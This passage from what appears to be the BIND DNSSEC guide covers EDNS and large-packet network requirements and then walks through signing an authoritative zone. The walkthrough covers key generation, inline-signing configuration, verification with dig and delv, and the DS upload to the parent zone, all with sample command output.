Please see Section 2.3, “Network Requirements” for more information on what DNSSEC expects from the network environment.

3.5.2. EDNS on DNS Servers

BIND has been shipped with EDNS enabled by default for over a decade, and the UDP packet size is set to a maximum of 4096 bytes. So as the DNS administrator, there should not be any re-configuration needed. You can use dig to verify that your server supports EDNS and the UDP packet size it is allowing as follows:

$ dig @192.168.1.7 www.isc.org. A +dnssec +multiline

; <<>> DiG 9.10.0-P2 <<>> @192.168.1.7 www.isc.org. A +dnssec +multiline
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 63266
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 4096
;; QUESTION SECTION:
;www.isc.org.       IN A

;; ANSWER SECTION:
www.isc.org.        23 IN A 149.20.64.69
www.isc.org.        23 IN RRSIG A 5 3 60 (
                20141029233238 20140929233238 4521 isc.org.
                DX5BaGVd4KzU2AIH911Kar/UmdmkARyPhJVLr0oyPZaq
                5zoobGqFI4efvzL0mcpncuUg3BSU5Q48WdBu92xinMdb
                E75zl+adgEBOsFgFQR/zqM3myt/8SngWm4+TQ3XFh9eN
                jqExHZZuZ268Ntlxqgf9OmKRRv8X8YigaPShuyU= )

;; Query time: 7 msec
;; SERVER: 192.168.1.7#53(192.168.1.7)
;; WHEN: Fri Oct 03 16:31:33 CST 2014
;; MSG SIZE  rcvd: 223

There is a helpful testing tool available (provided by DNS-OARC) that you can use to verify resolver behavior regarding EDNS support: https://www.dns-oarc.net/oarc/services/replysizetest/

So you made sure your name servers have EDNS enabled. That should be the end of the story, right? Unfortunately, EDNS is a hop-by-hop extension to DNS. This means the use of EDNS is negotiated between each pair of hosts in a DNS resolution process, which in turn means if one of your upstream name servers (for instance, your ISP’s recursive name server that you forward to) does not support EDNS, you will still experience packet fragmentation.

3.5.3. Support for Large Packets on Network Equipment

Okay, so both your recursive name server and your ISP’s name servers support EDNS, we are all good here, right? Not so fast. As these large packets have to traverse through the network, the network infrastructure itself must allow them to pass.

When data is physically transmitted over a network, it has to be broken down into chunks. The size of the data chunk is known as Maximum Transmission Units (MTU), and it can be different from network to network. IP fragmentation occurs when a large data packet needs to be broken down into smaller chunks so that each chunk is smaller than the MTU, and these smaller chunks need to be reassembled back into the large data packet. IP fragmentation is not necessarily a bad thing, it most likely occurs on your network today.

Some network equipment, such as firewalls, may make assumptions about DNS traffic. One of these assumptions may be how large each DNS packet is. When a firewall sees a larger DNS packet than it expects, it either rejects the large packet or drops its fragments because the firewall thinks it’s an attack. This configuration probably didn’t cause problems in the past since traditional DNS packets are usually pretty small in size. However, with DNSSEC, these configurations need to be updated, since DNSSEC traffic regularly exceeds 1500 bytes (a common MTU value). If the configuration is not updated to support larger DNS packet size, it will often result in the larger packets being rejected, and to the end user it looks like the queries go un-answered. Or in the case of fragmentation, only a part of the answer made it to the validating resolver, and your validating resolver may need to re-ask the question again and again, creating the appearance “DNS/network is really slow” for the end users.

And while you’re updating configuration on your network equipment, make sure TCP port 53 is also allowed for DNS traffic.

3.5.4. Wait… DNS Uses TCP?

Yes. DNS uses TCP port 53 as a fallback mechanism, when it cannot use UDP to transmit data. This has always been the case even long before DNSSEC arrived at the scene. Traditional DNS relies on TCP 53 for operations such as zone transfer. The use of DNSSEC, or DNS with IPv6 records such as AAAA, increases the chance that DNS data will be transmitted on TCP.

Due to the increased packet size, DNSSEC may fall back to TCP more often then traditional (insecure) DNS. If your network is blocking or filtering TCP port 53 today, you may already experience instability with DNS resolution before deploying DNSSEC.


[2] BIND technically includes two copies of the root key, one is in bind.keys.h and is built into the executable, and one is in bind.keys as a managed-keys statement. The two copies of the key are identical.

Chapter 4. Signing

4.1. Easy Start Guide for Signing Authoritative Zones

This section provides the minimum amount of information to setup a working DNSSEC-enabled authoritative name server. A DNSSEC-enabled zone (or “signed” zone) contains additional resource records that are used to verify the authenticity of its zone information.

To convert a traditional (insecure) DNS zone to a secure one, we need to create various additional records (DNSKEY, RRSIG, NSEC or NSEC3), and upload verifiable information (such as DS record) to the parent zone to complete the chain of trust. For more information about DNSSEC resource records, please see Section 1.4, “What does DNSSEC Add to DNS?”.

Note

In this chapter we assume all configuration files, key files, and zone files are stored in /etc/bind. And most of the times we show examples of running various commands as the root user. This is arguably not the best setup, but we don’t want to distract you from what’s important here: learning how to sign a zone. There are many best practices for deploying a more secure BIND installation, with techniques such as jailed process and restricted user privileges, but we are not going to cover any of those in this document. We are trusting you, a responsible DNS administrator, to take the necessary precautions to secure your system.

For our examples below, we will be working with the assumption that there is an existing insecure zone example.com that we will be converting to a secure version.

4.1.1. Generate Keys

Everything in DNSSEC centers around keys, and we will begin by generating our own keys. In our example, we are keeping all the keys for example.com in its own directory, /etc/bind/keys/example.com.

# mkdir -p /etc/bind/keys/example.com
# cd /etc/bind/keys/example.com
# dnssec-keygen -a RSASHA256 -b 1024 example.com
Generating key pair...++++++ .............++++++ 
Kexample.com.+008+17694
# dnssec-keygen -a RSASHA256 -b 2048 -f KSK example.com
Generating key pair........................+++ ..................................+++ 
Kexample.com.+008+06817

This generated four key files in /etc/bind/keys/example.com, and the only one we care about for now is the KSK key, Kexample.com.+008+06817.key. Remember this file name: we will need it again shortly. Make sure these files are readable by named.

Refer to Section 2.1.3, “System Entropy” for information on how you could speed this process up.

4.1.2. Reconfigure BIND

Below is a very simple named.conf, in our example environment, this file is /etc/bind/named.conf. The lines you most likely need to add are in bold.

options {
    directory "/etc/bind";
    recursion no;
    minimal-responses yes;
};

zone "example.com" IN {
    type master;
    file "db/example.com.db";
    key-directory "keys/example.com";
    inline-signing yes;
    auto-dnssec maintain;
};

When you are done updating the configuration file, tell named to reload:

# rndc reload
server reload successful

4.1.3. Verification

Your zone is now signed. Before moving on to the next step of coordinating with your parent zone, let’s make sure everything looks good using delv. What we want to do is to simulate what a validating resolver would check, by telling delv to use a specific trust anchor.

First of all, we need to make a copy of the key Kexample.com.+008+06817.key for editing:

# cp /etc/bind/keys/example.com/Kexample.com.+008+06817.key /tmp/example.key

The original key file looks like this (actual key shortened for display, and comments omitted):

# cat /etc/bind/keys/example.com/Kexample.com.+008+06817.key
...
example.com. IN DNSKEY 257 3 8 AwEAAcWDps...lM3NRn/G/R

We want to edit the copy to the be the trusted-keys format, so that it looks like this:

# cat /tmp/example.key
trusted-keys {
    example.com. 257 3 8 "AwEAAcWDps...lM3NRn/G/R";
};

Now we can run the delv command and point it to using this trusted-key file to validate the answer it receives from the authoritative name server 192.168.1.13:

$ delv @192.168.1.13 -a /tmp/example.key +root=example.com example.com. SOA +multiline
; fully validated
example.com.        600 IN SOA ns1.example.com. admin.example.com. (
                2014112007 ; serial
                1800       ; refresh (30 minutes)
                900        ; retry (15 minutes)
                2419200    ; expire (4 weeks)
                300        ; minimum (5 minutes)
                )
example.com.        600 IN RRSIG SOA 8 2 600 (
                20150107091559 20141208081559 17694 example.com.
                LwG0rLOm9Q1Lu9bgIz1O+PTCwcCSs1Ev8Eqkqqd3gUJK
                qo0FSVv//axNVJFH2Lz8VLgFypD8xARWj1XQBD/9DIf6
                A3ncnrFymKdKze+2ghvTUxpwqctK4RF66mhu93e33+Ir
                QJVJgdHJVHudQWICA1AbIBYYzLGkKlp7JAJcgBM= )

4.1.4. Upload to Parent Zone

Everything is done on our name server, now we need to generate some information to be uploaded to the parent zone to complete the chain of trust. The formats and the upload methods are actually dictated by your parent zone’s administrator, so contact your registrar or parent zone administrator to find out what the actual format should be, and how to deliver or upload the information to your parent zone.

What about your zone between the time you signed it and the time your parent zone accepts the upload? Well, to the rest of the world, your zone still appears to be insecure. That is because when a validating resolver attempts to validate your domain name, it will eventually come across your parent zone, and your parent zone will indicate that you are not yet signed (as far as it knows). The validating resolver will then give up attempting to validate your domain name, and fall back to the insecure DNS. Basically, before you complete this final step with your parent zone, your zone is still insecure.

Note

Before uploading to your parent zone, verify that your newly signed zone has propagated to all of your name servers (usually zone transfers). If some of your name servers still have unsigned zone data while the parent tells the world it should be signed, validating resolvers around the world will not resolve your domain name.

Here are some examples of what you may upload to your parent zone, actual keys shortened for display. Note that no matter what formats may be required, the end result will be the parent zone publishing DS record(s) based on the information you upload. Again, contact your parent zone administrator(s) to find out what is the correct format for you.

  1. DS Record Format: example.com. IN DS 6817 8 1 59194A835ACD78D25D538D5F35CA043A8F3F4446
  2. DNSKEY Format: example.com. 172800 IN DNSKEY 257 3 8 (AwEAAcjGaU...zuu55If5) ; key id = 06817
  3. Trusted Key Format: "example.com." 257 3 8 "AwEAAcjGaU...zuu55If5";

The DS record format may be generated using the dnssec-dsfromkey tool which is covered in Section 4.4.1, “DS Record Format”. For more details and examples on how to work with your parent zone, please seeSection 4.4, “Working with Parent Zone”

4.1.5. So… What Now?

Congratulations, your zone is signed, and parent zone has accepted your upload. Your zone is now officially DNSSEC-enabled. If you have any slave name servers that perform zone transfers from you, they will receive the new DNSSEC-enabled zone data. What happens next? Well, there are a few maintenance tasks you need to do on a regular basis, which you can find in Section 4.6, “Maintenance Tasks”. As for updating your zone file, you can continue to update them the same way you have been prior to signing your zone, the normal work flow of editing zone file and using the rndc command to reload the zone still works the same, and although you are editing the unsigned version of the zone, BIND will generate the signed version automatically.

Curious as to what all these commands did to your zone file? Read on to Section 4.1.6, “Your Zone, Before and After DNSSEC” and find out. If you are interested in how you can roll this out to your existing master and slave name servers, check out Section 7.1, “Inline Signing Recipes” in Chapter 7, Recipes.

4.1.6. Your Zone, Before and After DNSSEC

In the previous section Section 4.1, “Easy Start Guide for Signing Authoritative Zones”, we provided the minimal amount of information to essentially convert a traditional DNS zone into a DNSSEC-enabled zone. This is what the zone looked like before we started:

$ dig @192.168.1.13 example.com. AXFR +multiline +onesoa

; <<>> DiG 9.10.1 <<>> @192.168.1.13 example.com. AXFR +multiline +onesoa
; (1 server found)
;; global options: +cmd
example.com.        600 IN SOA ns1.example.com. admin.example.com. (
                2014102100 ; serial
                1800       ; refresh (30 minutes)
                900        ; retry (15 minutes)
                2419200    ; expire (4 weeks)
                300        ; minimum (5 minutes)
                )
example.com.        600 IN NS ns1.example.com.
ftp.example.com.    600 IN A 192.168.1.200
ns1.example.com.    600 IN A 192.168.1.1
web.example.com.    600 IN CNAME www.example.com.
www.example.com.    600 IN A 192.168.1.100

Below shows the test zone example.com after we have reloaded the server configuration. As you can see, the zone grew in size, and the number of records multiplied:

# dig @192.168.1.13 example.com. AXFR +multiline +onesoa

; <<>> DiG 9.10.1 <<>> @192.168.1.13 example.com. AXFR +multiline +onesoa
; (1 server found)
;; global options: +cmd
example.com.        600 IN SOA ns1.example.com. admin.example.com. (
                2014102104 ; serial
                1800       ; refresh (30 minutes)
                900        ; retry (15 minutes)
                2419200    ; expire (4 weeks)
                300        ; minimum (5 minutes)
                )
example.com.        300 IN RRSIG NSEC 8 2 300 (
                20141126120153 20141027112239 60798 example.com.
                U1je2BEXY7S/u4An8sKEp2Cb8b90+9mNBoFb9nXgkTvC
                cJkT/4OIUIaO7EbsIASmlzjDwJEKSO/nPDFg3y6tsR0m
                GT7H7AYAouwBhUlIrDrGQpxqRLJXA1kPkxboX4M2JGx4
                rBcBsN/7lG5CGbjtLW3PMnJRELE5fBJBLZM1KLo= )
example.com.        300 IN NSEC ftp.example.com. NS SOA RRSIG NSEC DNSKEY TYPE65534
example.com.        600 IN RRSIG NS 8 2 600 (
                20141126115318 20141027112239 60798 example.com.
                TGC1gAksxHHDoltjJ8ETJ9qdr5MzFjA05vEllSNWBFe7
                O71Payf8o4MISHNeUoZpu7Ys4zBiTRLqUaLeI0oSEnzM
                r2QJkrfUHl1k8D/wCWApEUhMa1GxLIKMsEfgd3D5nK52
                6LAVNihx5BKC1YxuYZXhhBMYQm7bIlUXFvxl3uE= )
example.com.        600 IN RRSIG SOA 8 2 600 (
                20141126122239 20141027112239 60798 example.com.
                0ntLprFpg9bKWs5ArGvpZq8uFa9QPEfl6bOmfIwbNnEp
                9PgBS97icRs27JDgIXGM4dWxXiPVX6sZ8jFulSp2mi2v
                4dhtqMfb4S/rfxSmCphIz5PA+bngKSr5fhRI6tTM8fW1
                l5V3zfKCPFracE0CgdcWIt0xViEs56Axj942f5w= )
example.com.        0 IN RRSIG TYPE65534 8 2 0 (
                20141126120153 20141027112239 60798 example.com.
                Sv+7vfHXz4zlLSEuWs5Bt5boqSDVCK2GcOgAzVXnW9/0
                zgk3v8VwSXRTRnwdsvl3SK6YsM9S/HNXk32AQs2PjXf4
                2/cmv6VCOGSVGin/L5k4KWjpy0ESV2iY0hIIyeXWqUdB
                ZUCu1+2GhHiA5+gKODn/8sg6x04g+lZe6wuhU44= )
example.com.        600 IN RRSIG DNSKEY 8 2 600 (
                20141126122239 20141027112239 45319 example.com.
                F2vrBJqvloP5yNE6X1+b1XJ4gY6DlH1oyJz6pSULmGgQ
                FFztyrCJoV4MI6TeFRXJKLTePewjcTzKlaRKJHZRElcM
                QaClWr6RdZ2Uc1fFOBgYocrDZtGWdTVg7XCiLJ/ubrDH
                7et9rSexmKEwI44T4Vf7w3e+kUQSzMBGfA9Z5Q8WnnBW
                IDn4QFqRx0B02bVLV4giJbVp649ukIApVoHSpJvhrWq8
                eSSdP2ojymzr4gAuQZzmZUJnxp7Q3ktuQgIokhLG4FDH
                /O9qnhnOkUZFsxbBaDYVn5TIl1Kkmn3LH98JQE0z8a7D
                WfqAPAFy0rKHkvyOA8FlimDW09OYeJS00A== )
example.com.        600 IN RRSIG DNSKEY 8 2 600 (
                20141126122239 20141027112239 60798 example.com.
                PoUdallJO0ZF3iFmRoGoKh/iLAJVn52ABVEVku9LK34C
                oh4Y29rgK4jd3DwxU7zDLadVs0Fo3JFHp2jdYCEm03BS
                XE6d0cijZP5aFt8rO/grO/qbkdv+ScEi1kOhCKcvt3Kg
                1mXhiZt4Jx3LeisUpD9mGa+m9ehcPYlAHPKoZMg= )
example.com.        0 IN TYPE65534 \# 5 ( 08B1070001 )
example.com.        0 IN TYPE65534 \# 5 ( 08ED7E0001 )
example.com.        600 IN DNSKEY 256 3 8 (
                AwEAAfbc/0ESumm1mPVkm025PfHKHNYW62yx0wyLN5LE
                4DifN6FzIVSKSGdMOdq+z6vFGxzzjPDz7QZdeC6ttIUA
                Bo4tG7dDrsWK+tG5cm4vuylsEVbnnW5i+gFG/02+RYmZ
                ZT9AobXB5bVjfXl9SDBgpBluB35WUCAnK9WkRRUS08lf
                ) ; ZSK; alg = RSASHA256; key id = 60798
example.com.        600 IN DNSKEY 257 3 8 (
                AwEAAb4N53kPbdRTAwvJT8OYVeVhQIldwppMy7KBJ+8k
                Uggx2PU3yP/qlq4Zjl0MMmqRiJhD/S+z9cJLNTZ9tHz1
                7aZQjFyGAyuU3DGW16xfMolcIn+c8TpPCzBOFhxk6jvO
                VLlz+Wgyi1ES+t29FjYYv5cVNRPmxXLRjlHFdO1DzX3N
                dmcUoZ+VVJCvaML9+6UpL/6jitNsoU8JHnxT9B2CGKcw
                N7VaK4l9Ida2BqY3/4UVqWzhj03/M5LK6cn1pEQbQMtY
                R0TNJURBKdK8bH663h98i23tVX0/85IsCVBL4Dd2boa3
                /7HPp7uZN1AjDvcRsOh1mqixwUGmVm1EskDIMy8=
                ) ; KSK; alg = RSASHA256; key id = 45319
example.com.        600 IN NS ns1.example.com.
ftp.example.com.    600 IN RRSIG A 8 3 600 (
                20141126115318 20141027112239 60798 example.com.
                PNATas8HPjc6tm7Ldfk7P61IlRVSQW085P9lDw8qwITc
                TghDdAXHJBkCTXaDRWPyQZbGI5fNcxWLkf/HRbKREzQs
                eyztZj2OBnBnnK0t8SWLyM4+OMsGH17z4ZvBmPO/Wgju
                iSm98reH7J87yRlUMQHdPSwAP6q5tZeJbwpSkao= )
ftp.example.com.    300 IN RRSIG NSEC 8 3 300 (
                20141126115318 20141027112239 60798 example.com.
                ohuvpkqlNR+TYOG79JizEV+SFjVbUKSB3hEfHOJszCIr
                bcdPKTS0GgQS62N4ISwfvb735oQzc8pI5R+f+8MMn5c9
                /yRnArTpPJOKDnyIiMaMLBU5sEp5wI+OLsLFMkLef4iK
                gn+j608Qnoo7dXtWWQPv85FyaT9j3C+EV6rglCk= )
ftp.example.com.    300 IN NSEC ns1.example.com. A RRSIG NSEC
ftp.example.com.    600 IN A 192.168.1.200
ns1.example.com.    600 IN RRSIG A 8 3 600 (
                20141126115318 20141027112239 60798 example.com.
                z1rnlU9oVnIhwxQey3Zo6ENYmWXtf97RiZng3u6VkE0n
                yUC5S3sseZgD8Vc+uJsKVAvafM/k7NgS+P3pe5gN01Ln
                +geKEMZ3pCHpzHG4UgJj4Xw/iuWOVAFURD26GNnPppDK
                RNYPWIhA/9FF18vI3V9evNcHGxN+7rOOXF8Qbss= )
ns1.example.com.    300 IN RRSIG NSEC 8 3 300 (
                20141126115318 20141027112239 60798 example.com.
                chH7c6aW6Qk14d4LB866jva9OcH52pJkeHpdslVmUbJ2
                OkJQNhbpOekSjsroxDU4av3/Y49Dtg0lqoISvMMqwE5X
                5sKmn+CMKFfMmi22ui+RsPXyDqjkx+JOsi/7kCx7DFJz
                jF0a6KcsTWNV2QfZjQ50RyrSBBOkw6aqdUC3oF8= )
ns1.example.com.    300 IN NSEC web.example.com. A RRSIG NSEC
ns1.example.com.    600 IN A 192.168.1.1
web.example.com.    600 IN RRSIG CNAME 8 3 600 (
                20141126115318 20141027112239 60798 example.com.
                VgHPC0WllAlHY56xMF3j8FI7MsxDhLJJBDBMSVSQpQkA
                z81kfInYQL4YpAt25WrH7xt4pCmjVl3kUcDGAWWuSiQy
                nh2O4CoY/tSqQ7Sr9UnE5SIvpW5yws8iROOHvJYuKAmu
                8B3gYw1gp9xCMS4iBOIXTTq1KV2OHwo0cPXVyfI= )
web.example.com.    300 IN RRSIG NSEC 8 3 300 (
                20141126115318 20141027112239 60798 example.com.
                zh+9fnIQlfpvc0oFRnNIPJoL/S5RQF4HuGwmLxoCxRVp
                FCQoZbzNB0IVvaA+0XEslcHq3v4+0j9EeKKQw7xORaGu
                TrzcoRGbjuKZlpvnVlxYkjCiEKVbkXd5yEMnbgolFkhH
                NjFlozSyzypY0TY0UVRPXWhZ2shASae/ImqFiug= )
web.example.com.    300 IN NSEC www.example.com. CNAME RRSIG NSEC
web.example.com.    600 IN CNAME www.example.com.
www.example.com.    600 IN RRSIG A 8 3 600 (
                20141126120153 20141027112239 60798 example.com.
                TLkMRs7I3QW8HRS3trNG307Y0/drO4k8uG8Bv8856qPo
                33rbEajV49XBBQ+w8jynfKwxMNDfJhpSG0gxo7+0m75Y
                HRBZ9Xe3EAMNt2/iu0CL6NHyN99qF9TPNbYnD2Zw077L
                GSDOua1KFMxDqFU7rU0+YlKRGbSk1rqAJBqKEH4= )
www.example.com.    300 IN RRSIG NSEC 8 3 300 (
                20141126120153 20141027112239 60798 example.com.
                GSyFVBgMROqDuoSJoDegX3EkdqA90skBTvi9tkPxoQPo
                i8LlaD+wRmcXpYKE3vf/y0WpOOVQXbasyfFk8wGzFsde
                fqpFsscbz3OYgnkwYcTvGXZF9802ytiC5txli9uxUqjc
                lGL+SDl0woYhecwJD63fTDIMszlVR/eptIL9dLc= )
www.example.com.    300 IN NSEC example.com. A RRSIG NSEC
www.example.com.    600 IN A 192.168.1.100

But this is a really messy way to tell if your zone is properly setup with DNSSEC. Fortunately, there are tools to help us with that. Read on to Section 4.2, “How To Test Authoritative Zones (So You Think You Are Signed)” to learn more.

4.2. How To Test Authoritative Zones (So You Think You Are Signed)

So we’ve generated some keys, ran some commands, and uploaded some data to our parent zone. How do we know our zone is signed correctly? Here are a few ways to check.

4.2.1. Look for Key Data in Your Zone

One of the ways to see if your zone is signed, is to check for the presence of DNSKEY record types. In our example, we created two keys, and we expect to see both keys returned when we query for them.

$ dig @192.168.1.13 example.com. DNSKEY +multiline +noall +answer

; <<>> DiG 9.10.1 <<>> @192.168.1.13 example.com. DNSKEY +multiline +noall +answer
; (1 server found)
;; global options: +cmd
example.com.        300 IN DNSKEY 256 3 8 (
                AwEAAclob7q+ccvDwaTVuMM2ddGIynWyMwaZlhFrU6cC
                0qknWoPpkq0gIwTrYf3DJY+eIKPVHxrM+o2AoRIVhubG
                jfv1bT5wTYrawZstS84ejCQ+ehA+8DxKyeWUEzW0ZMBe
                OhyeG0cuQVK/p6Z1E096JLu0DjgbabLspequkw4M+HT7
                ) ; ZSK; alg = RSASHA256; key id = 57009
example.com.        300 IN DNSKEY 257 3 8 (
                AwEAAdQ2ctHx8VmryndiOgpchXPdj3NwxMeUvAre6uYI
                5KELlFJUghTHrz+/CzEc8CXG8wwQ4ZvAey0FGV2nJAFC
                ENMxoRiCz0oSiQQxryNhACd3RnE2/D7G+ShwlOM6w53E
                wUJ/lsgu5UevSxFC+eA3fKeL3TWR44PH4iJQp9QmfW5v
                7qG8Sic/HQvBGBdOGfFtHAl0a4jDPBi57imS4YsHcUYD
                9bsWmhYWSHJKZ66+JnTiMS0nQM69YwBF43QfDKurs5R6
                qPUDiBlaMCzSxmlaBU6fsI1Mu/yIU8w1ewy26a42rUTU
                rPBC3Oa/zf9VQ8kpUrMZgJ7LEAA4xmR+qwWDh6U=
                ) ; KSK; alg = RSASHA256; key id = 28267

4.2.2. Look for Signatures in Your Zone

Another way to see if your zone data is signed is to check for the presence of signature. With DNSSEC, every record[3]now comes with at least one corresponding signature known as RRSIG.

$ dig @192.168.1.13 example.com. SOA +dnssec +multiline

; <<>> DiG 9.10.1 <<>> @192.168.1.13 example.com. SOA +dnssec +multiline
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 31466
;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags: do; udp: 4096
;; QUESTION SECTION:
;example.com.       IN SOA

;; ANSWER SECTION:
example.com.        300 IN SOA ns1.example.com. dnsadmin.example.com. (
                2014102111 ; serial
                10800      ; refresh (3 hours)
                1080       ; retry (18 minutes)
                2419200    ; expire (4 weeks)
                900        ; minimum (15 minutes)
                )
example.com.        300 IN RRSIG SOA 8 2 300 (
                20141121122105 20141022112105 57009 example.com.
                NqPGNLkUs40Lg/qq7Fv+bgyCwVB4s9PsHQOK6p9ZWWk3
                36z2Qz2WjM+Q19SlVBAPux9jijvcRcjGb6KREuxER9uX
                wdVeiGx9a4X+PaO3qTqdkiXuGS2XkK1kBm1CgwhVHTYV
                /nxVPrckU4/mpeUoFVjMnT49JkVJmgck63esPEU= )

The serial number was automatically incremented from the old, unsigned version. Named keeps track of the serial number of the signed version of the zone independently of the unsigned version. If the unsigned zone is updated with a new serial number that’s higher than the one in the signed copy, then the signed copy will be increased to match it, but otherwise the two are kept separate.

4.2.3. Examine the Zone File

Our original zone file example.com.db remains untouched, named has generated 3 additional files automatically for us (shown below). The signed DNS data is stored in example.com.db.signed and in the associated journal file.

# cd /etc/bind/db
# ls
example.com.db  example.com.db.jbk  example.com.db.signed  example.com.db.signed.jnl

A quick description of each of the files:

  • .jbk: transient file used by named
  • .signed: signed version of the zone in raw format
  • .signed.jnl: journal file for the signed version of the zone

These files are stored in raw (binary) format for faster loading. You could reveal the human-readable version by using named-compilezone as shown below. In the example below, we are running the command on the raw format zone example.com.db.signed to produce a text version of the zone example.com.text:

# named-compilezone -f raw -F text -o example.com.text example.com example.com.db.signed
zone example.com/IN: loaded serial 2014112008 (DNSSEC signed)
dump zone to example.com.text...done
OK

4.2.4. Check the Parent

Although this is not strictly related to whether or not the zone is signed, but a critical part of DNSSEC is the trust relationship between the parent and child. Just because we, the child, have all the correctly signed records in our zone doesn’t mean it can be fully validated by a validating resolver, unless our parent’s data agrees with us. To check if our upload to the parent is successful, ask the parent name server for the DS record of our zone, and we should get back the DS record(s) containing the information we uploaded in Section 4.1.4, “Upload to Parent Zone”:

$ dig example.com. DS

; <<>> DiG 9.10.1 <<>> example.com. DS
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 49949
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;example.com.           IN  DS

;; ANSWER SECTION:
example.com.  61179 IN  DS  28267 8 1 66D47CE4B4F551BE5EDA43AC5F3109E8C98E2FAE
example.com.  61179 IN  DS  28267 8 2 71D9335416B7132519190A95685E18CBF478DCF4CA98867062777938F8FEAB89

4.2.5. External Testing Tools

The easiest ways to see if your domain name is fully secured is to use one of these excellent online tools.

4.2.5.1. Verisign DNSSEC Debugger

URL: http://dnssec-debugger.verisignlabs.com/

This tool shows a nice summary of checks performed on your domain name, and you can expand to view more details for each of the items checked to get a detailed report.

Figure 4.1. Verisign DNSSEC Debugger

Verisign DNSSEC Debugger

4.2.5.2. DNSViz

URL: http://dnsviz.net/

DNSViz provides a visual analysis of the DNSSEC authentication chain for a domain name and its resolution path in the DNS namespace.

Figure 4.2. DNSViz

DNSViz

4.2.5.3. Sec Spider

URL: http://secspider.cs.ucla.edu/

Similar to DNSViz, with the added bonus of letting users move elements on the diagram.

Figure 4.3. Sec Spider

Sec Spider

4.3. Signing Easy Start Explained

4.3.1. Generate Keys Explained

In Section 4.1.1, “Generate Keys”, we generated two pairs of keys: a pair of Zone Signing Keys (ZSK) and a pair of Key Signing Keys (KSK). To quickly summarize, ZSKs sign the bulk of the zone, but KSKs only sign the DNSKEYs. This makes ZSKs easier to change (since you can do so without updating the parent). We generated keys by running these commands:

# cd /etc/bind/keys/example.com
# dnssec-keygen -a RSASHA256 -b 1024 example.com
Generating key pair...++++++ .............++++++ 
Kexample.com.+008+17694
# dnssec-keygen -a RSASHA256 -b 2048 -f KSK example.com
Generating key pair........................+++ ..................................+++ 
Kexample.com.+008+06817

With these commands, we generated NSEC3-compatible key pairs (see Section 6.2.2, “NSEC3” to learn more about NSEC3). In the end, four key files were created in /etc/bind/keys/example.com:

  • Kexample.com.+008+06817.key
  • Kexample.com.+008+06817.private
  • Kexample.com.+008+17694.key
  • Kexample.com.+008+17694.private

The two files ending in .private need to be kept, well, private. These are your private keys, guard them carefully. You should at the very least protect them via file permission settings. Please see Section 6.3, “Key Storage” for more information about how to store your keys.

The two files ending in .key are your public keys. One is the zone-signing key (ZSK), and one is the key-signing Key (KSK). We can tell which is which by looking at the actual file contents (actual keys shortened for display):

# cat Kexample.com.+008+06817.key
; This is a key-signing key, keyid 6817, for example.com.
; Created: 20141120094612 (Thu Nov 20 17:46:12 2014)
; Publish: 20141120094612 (Thu Nov 20 17:46:12 2014)
; Activate: 20141120094612 (Thu Nov 20 17:46:12 2014)
example.com. IN DNSKEY 257 3 8 AwEAAcWDps...lM3NRn/G/R
# cat Kexample.com.+008+17694.key
; This is a zone-signing key, keyid 17694, for example.com.
; Created: 20141120094536 (Thu Nov 20 17:45:36 2014)
; Publish: 20141120094536 (Thu Nov 20 17:45:36 2014)
; Activate: 20141120094536 (Thu Nov 20 17:45:36 2014)
example.com. IN DNSKEY 256 3 8 AwEAAcjGaU...zuu55If5

The first line of each file tell us what type of key it is. Also, by looking at the actual DNSKEY record, we could tell them apart: 256 is ZSK, and 257 is KSK.

So, this is a ZSK:

# cat Kexample.com.+008+17694.key
...
example.com. IN DNSKEY 256 3 8 AwEAAcjGaU...zuu55If5

And this is a KSK:

# cat Kexample.com.+008+06817.key
...
example.com. IN DNSKEY 257 3 8 AwEAAcWDps...lM3NRn/G/R

The parameters we showed in the example, algorithm of RSASHA256, key length of 1024 and 2048, and the use of NSEC3 are just suggestions, you need to evaluate what values work best for your environment. To learn more about key generation, different algorithm choices, and key sizes, see Section 6.1, “Key Generation”.

The table below summarizes the usage and frequency of use for each of the keys.

Table 4.1. ZSK KSK Comparison

Key Usage Frequency of Use
ZSK Private Used by authoritative server to create RRSIG for zone data Used somewhat frequently depending on the zone, whenever authoritative zone data changes or re-signing is needed
ZSK Public Used by recursive server to validate zone data RRset Used very frequently, whenever recursive server validates a response
KSK Private Used by authoritative server to create RRSIG for ZSK and KSK Public (DNSKEY) Very infrequently, whenever ZSK’s or KSK’s change (every year or every five years in our examples)
KSK Public Used by recursive server to validate DNSKEY RRset Used very frequently, whenever recursive server validates a DNSKEY RRset

4.3.2. Reconfigure BIND Explained

In Section 4.1.2, “Reconfigure BIND”, we highlighted a few lines, let’s explain what each one of them does.

options {
    directory "/etc/bind";
    recursion no;
    minimal-responses yes;
};

zone "example.com" IN {
    type master;
    file "db/example.com.db";
    key-directory "keys/example.com";
    inline-signing yes;
    auto-dnssec maintain;
};

4.3.2.1. dnssec-enable

DNSSEC support is enabled in named by default. If the dnssec-enable option is turned off, named will be unable to serve signed zones.

4.3.2.2. key-directory

zone "example.com" IN {
    key-directory "keys/example.com";
};

This specifies where named should look for public and private DNSSEC key files. The default is named‘s working directory. In our example, we organized keys based on zone names, and placed all keys for example.comunder one directory /etc/bind/keys/example.com.

4.3.2.3. inline-signing

zone "example.com" IN {
    inline-signing yes;
};

This option is disabled by default. When enabled, BIND converts traditional (insecure) zone data to signed (secure) data automatically and transparently, using keys found in key-directory.

This feature alleviates the burden of re-signing zone data put on DNSSEC zone administrators. As the zone administrator, you can continue to manually maintain the unsigned version of the zone just like before, and namedautomatically creates an internal copy of the zone, signs it on the fly, and increments the serial number for the signed zone. The unsigned version of the zone is left intact. With this feature enabled, whenever named detects that your zone needs to be signed, either due to a new record being added, removed, or signature expiration, it will automatically re-sign the zone data.

